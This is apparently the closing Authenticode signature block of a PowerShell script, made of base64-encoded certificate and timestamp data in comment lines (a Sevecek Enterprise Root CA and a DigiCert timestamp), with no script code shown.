# AEZQPsm3KCSnOB22WymvUs9S6TFHq1Zce9UNC0Gz7+x1H3Q48rJcYaKclcNQ5IK5
# I9G6OoZyrTh4rHVdFxc0ckeFlFbR67s2hHfMJKXzBBlVqefj56tizfuLLZDCwNK1
# lL1eT7EF0g49GqkUW6aGMWKoqDPkmzmnxPXOHXh2lCVz5Cqrz5x2S+1fwksW5Etw
# TACJHvzFebxMElf+X+EevAJdqP77BzhPDcZdkbkPZ0XN1oPt55INjbFpjE/7WeAj
# D9KqrgB87pxCDs+R1ye3Fu4Pw718CqDuLAhVhSK46xgaTfwqIa1JMYNHlXdx3LEb
# S0scEJx3FMGdTy9alQgpECYxggQ/MIIEOwIBATB6MGwxCzAJBgNVBAYTAkNaMRcw
# FQYDVQQIEw5DemVjaCBSZXB1YmxpYzENMAsGA1UEBxMEQnJubzEQMA4GA1UEChMH
# U2V2ZWNlazEjMCEGA1UEAxMaU2V2ZWNlayBFbnRlcnByaXNlIFJvb3QgQ0ECCioc
# hHAAAQAAAH8wDQYJYIZIAWUDBAIBBQCggYQwGAYKKwYBBAGCNwIBDDEKMAigAoAA
# oQKAADAZBgkqhkiG9w0BCQMxDAYKKwYBBAGCNwIBBDAcBgorBgEEAYI3AgELMQ4w
# DAYKKwYBBAGCNwIBFTAvBgkqhkiG9w0BCQQxIgQgdKlf1QmHrFu5pX474FM9pYUR
# aw/6YEi3NHUcigsGrLMwDQYJKoZIhvcNAQEBBQAEggEAEpChHrWyF0P5VcGsyQp0
# Zfy0XExkSZu2+l37Kr/yUROC4wsyK9nXiDOQW79HTgPm0b9YRaj5NddQXoGtjU4w
# 8JQg4pdDusJJjmub+FArKj/hd1bxqSzB1q7qxby28EeGgM3U9KENbJJ1hkelWsko
# 779KLYGm2LSKFP4aTSzOOkvj1gsd2r9hBNUVYpTLwkGKNJjAanAUOB9IXxEU6GTx
# w5fZwdzFt/DlPFMk/Q8rAFkrmamBqNCS0O8rRnJJ6RKxFfOf2BkoDZyqTA60oaPJ
# eooPvxaVMmM3czefNTEcGfl7L2MCJM6B3k7zQYwEkWfZWV03nxLYW3Dju31oDosZ
# IaGCAg8wggILBgkqhkiG9w0BCQYxggH8MIIB+AIBATB2MGIxCzAJBgNVBAYTAlVT
# MRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5j
# b20xITAfBgNVBAMTGERpZ2lDZXJ0IEFzc3VyZWQgSUQgQ0EtMQIQAwGaAjr/WLFr
# 1tXq5hfwZjAJBgUrDgMCGgUAoF0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAc
# BgkqhkiG9w0BCQUxDxcNMTkwNzIzMTQzMzAxWjAjBgkqhkiG9w0BCQQxFgQUjunT
# PFdVQ6g5PHmFcrPgfekgMaQwDQYJKoZIhvcNAQEBBQAEggEAO1/S/bAOwVL3csot
# QBK5cPlYjByEWVbMgd1YGxd9BNXVB1QO9Wu+aZNW0aLjQbOnkBQGmlcTyGI1Onn2
# dYA83Dj2eLa7bLutV16zwnkUG2+UOuhoGKje6x5wv7soVqkyihLe3MMgXmp8XFR9
# YeAKkLejhX69hhX2UtaI3w4MxZhj6ofLki/Cj+1208L6SYsVhW4/+cKszk4567NW
# rFiOg6kV9Z0omMVrbtyVxeCCPa7arkZieIL5v4YkhLaWgJ5Q2vsx+tU0IAqW0FAD
# m52HKCtXu28TkCUh/fEfu5i5jF6XZAm6kHojxYPHgo2sEnxXNxvSKbd0fUZ45LYf
# +Y3Zuw==
# SIG # End signature block